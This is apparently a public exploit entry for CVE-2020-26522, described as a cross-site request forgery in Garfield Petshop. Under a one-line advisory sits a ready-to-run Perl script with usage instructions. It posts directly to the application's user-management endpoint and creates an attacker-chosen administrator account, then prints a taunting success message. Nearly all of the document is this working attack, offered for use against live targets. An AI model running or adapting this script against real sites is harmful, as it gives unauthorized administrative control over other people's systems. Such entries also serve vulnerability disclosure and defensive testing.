Garfield Petshop versions through 2020-10-01 suffer from a cross site request forgery vulnerability.
4dd5cb174256b2a2948831c7b09734c3
#!/usr/bin/perl
# Garfield Petshop (Add-Admin) Exploit
# By Ramdan Yantu rysec.io \ bastardlabs.info
# From Gorontalo - Indonesia
# Mail: ramdanyantu__at__gmail.com
# Application by Gamma Advertisa
# Link: https://detapos.co/ | https://demo.detapos.co.id/petshop
# CVE: CVE-2020-26522
use strict;
use warnings;
use LWP::UserAgent;
my ($url, $path, $usernm, $passwd) = @ARGV ;
unless($ARGV[3]){
print "\n-+--[ Brought to you by Ramdan Yantu ]--+-\n";
print "-+-- rysec.io / bastardlabs.info --+-\n";
print "-+--[ Garfield Petshop Add-Admin Exploit ]--+-\n";
print "\nUsage:\n\n";
print "perl $0 [target] [path] [username] [password]\n";
print "ex: perl $0 http://target.com /petshop/ w00t w00t\n";
exit ();
}
my $ua = LWP::UserAgent->new( agent => "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1)" );
my $ob = $ua->post( $url.$path."/mod/user/act_user.php?mod=user&act=simpan", {
"nama_lengkap" => "u h4V3 833n 0wN3D", "usernm" => $usernm,
"passwd" => $passwd, "rpasswd" => $passwd, "level" => "admin" } );
if($ob->is_success != -1) {
print "\n [+] splo!it successfully!\n".
"\n username: $usernm\n".
" password: $passwd\n";
}else{
print "[-] splo!t failed! Maybe ente kurang tamvan!\n";
}